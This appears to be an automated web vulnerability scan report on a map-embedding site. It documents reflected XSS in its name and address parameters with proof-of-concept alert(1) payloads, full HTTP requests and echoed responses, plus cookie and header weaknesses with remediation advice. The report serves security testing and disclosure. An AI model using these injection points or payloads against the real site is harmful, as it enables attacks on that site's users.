Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3dbcc"%20style%3dx%3aexpression(alert(1))%200c2aa2da5febe040 was submitted in the address parameter. This input was echoed as 3dbcc\\\" style=x:expression(alert(1)) 0c2aa2da5febe040 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3edb3"%20style%3dx%3aexpression(alert(1))%20c419080a5e7c3be66 was submitted in the name parameter. This input was echoed as 3edb3\\\" style=x:expression(alert(1)) c419080a5e7c3be66 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6c6c"%20style%3dx%3aexpression(alert(1))%2058d6d814413 was submitted in the address parameter. This input was echoed as b6c6c\\\" style=x:expression(alert(1)) 58d6d814413 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c"%20style%3dx%3aexpression(alert(1))%2058d6d814413&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive Referer: http://www.networkvigilance.com/main/Company/ContactUs.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<script src="http://maps.google.com/maps?file=api&v=2.x&key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr ...[SNIP]... atellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Network Vigilance @ 10731 Treena Street, Suite 200, San Diego, CA 92131b6c6c\\\" style=x:expression(alert(1)) 58d6d814413" /> ...[SNIP]...
The value of the address request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3c115%3balert(1)//fbe2485e9c1 was submitted in the address parameter. This input was echoed as 3c115;alert(1)//fbe2485e9c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(alert(1))%2058d6d8144133c115%3balert(1)//fbe2485e9c1&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: maps=1303940766; mapb=1303939727; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.2.10.1304016692
<script src="http://maps.google.com/maps?file=api&v=2.x&key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr ...[SNIP]... TypeControl()); var point = new GLatLng(32.9132235,-117.1137901); var marker = createMarker(point,"10731 Treena Street, Suite 200, San Diego, CA 92131b6c6c\\\\" style=x:expression(alert(1)) 58d6d8144133c115;alert(1)//fbe2485e9c1","<div id=\"gmapmarker\"> ...[SNIP]...
1.5. http://www.map-generator.net/extmap.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.map-generator.net
Path:
/extmap.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1a41"%20style%3dx%3aexpression(alert(1))%2015376975211 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e1a41\\\" style=x:expression(alert(1)) 15376975211 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /extmap.php?name=Network%2520Vigilance&address=10731%2520Treena%2520Street%252C%2520Suite%2520200%252C%2520San%2520Diego%252C%2520CA%252092131b6c6c%2522%2520style%253dx%253aexpression(ale/e1a41"%20style%3dx%3aexpression(alert(1))%2015376975211rt(1 HTTP/1.1 Host: www.map-generator.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;
<script src="http://maps.google.com/maps?file=api&v=2.x&key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr ...[SNIP]... ter your address and copy a small HTML snippet onto you web page. - Network%20Vigilance @ 10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(ale/e1a41\\\" style=x:expression(alert(1)) 15376975211rt(1" /> ...[SNIP]...
The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1f93"%20style%3dx%3aexpression(alert(1))%207c41acb6973 was submitted in the name parameter. This input was echoed as a1f93\\\" style=x:expression(alert(1)) 7c41acb6973 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /extmap.php?name=Network%20Vigilancea1f93"%20style%3dx%3aexpression(alert(1))%207c41acb6973&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive Referer: http://www.networkvigilance.com/main/Company/ContactUs.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<script src="http://maps.google.com/maps?file=api&v=2.x&key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr ...[SNIP]... nt="Free Maps Generator to gently embed your own Map/Satellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Network Vigilancea1f93\\\" style=x:expression(alert(1)) 7c41acb6973 @ 10731 Treena Street, Suite 200, San Diego, CA 92131" /> ...[SNIP]...
The value of the address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80eeb"%20style%3dx%3aexpression(alert(1))%203f11a904dd1 was submitted in the address parameter. This input was echoed as 80eeb\\\" style=x:expression(alert(1)) 3f11a904dd1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /map.php?name=Spot&address=10%20market%20st%2C%20san%20francisco80eeb"%20style%3dx%3aexpression(alert(1))%203f11a904dd1&width=500&height=400&maptype=map&zoom=14&t=1304017254 HTTP/1.1 Host: www.map-generator.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;
<html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>Map / Street Map - Spot @ 10 market st, san francisco80eeb\\\" style=x:expression(alert(1)) 3f11a904dd1< ...[SNIP]... erator to gently embed your own Map/Satellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Spot @ 10 market st, san francisco80eeb\\\" style=x:expression(alert(1)) 3f11a904dd1" /> ...[SNIP]...
The value of the name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0af6"%20style%3dx%3aexpression(alert(1))%203d7a3a57799 was submitted in the name parameter. This input was echoed as b0af6\\\" style=x:expression(alert(1)) 3d7a3a57799 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /map.php?name=Spotb0af6"%20style%3dx%3aexpression(alert(1))%203d7a3a57799&address=10%20market%20st%2C%20san%20francisco&width=500&height=400&maptype=map&zoom=14&t=1303940766 HTTP/1.1 Host: www.map-generator.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;
<html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>Map / Street Map - Spotb0af6\\\" style=x:expression(alert(1)) 3d7a3a57799 @ 10 market st, san francisco< ...[SNIP]... iption" content="Free Maps Generator to gently embed your own Map/Satellite Map to your homepage. With Map Generator, you just enter your address and copy a small HTML snippet onto you web page. - Spotb0af6\\\" style=x:expression(alert(1)) 3d7a3a57799 @ 10 market st, san francisco" /> ...[SNIP]...
2. Cookie scoped to parent domainpreviousnext There are 3 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mapb=1303939626; __utmz=22393895.1303939641.1.1.utmcsr=networkvigilance.com|utmccn=(referral)|utmcmd=referral|utmcct=/main/Company/ContactUs.htm; __utma=22393895.2116306113.1303939641.1303939641.1303939641.1; __utmc=22393895; __utmb=22393895.2.10.1303939641
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(alert(1))%2058d6d814413&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: maps=1303940766; mapb=1303939727; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.2.10.1304016692
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /map.php HTTP/1.1 Host: www.map-generator.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mapb=1303939626; __utmz=22393895.1303939641.1.1.utmcsr=networkvigilance.com|utmccn=(referral)|utmcmd=referral|utmcct=/main/Company/ContactUs.htm; __utma=22393895.2116306113.1303939641.1303939641.1303939641.1; __utmc=22393895; __utmb=22393895.2.10.1303939641
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(alert(1))%2058d6d814413&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1 Host: www.map-generator.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: maps=1303940766; mapb=1303939727; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.2.10.1304016692
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /map.php HTTP/1.1 Host: www.map-generator.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.map-generator.net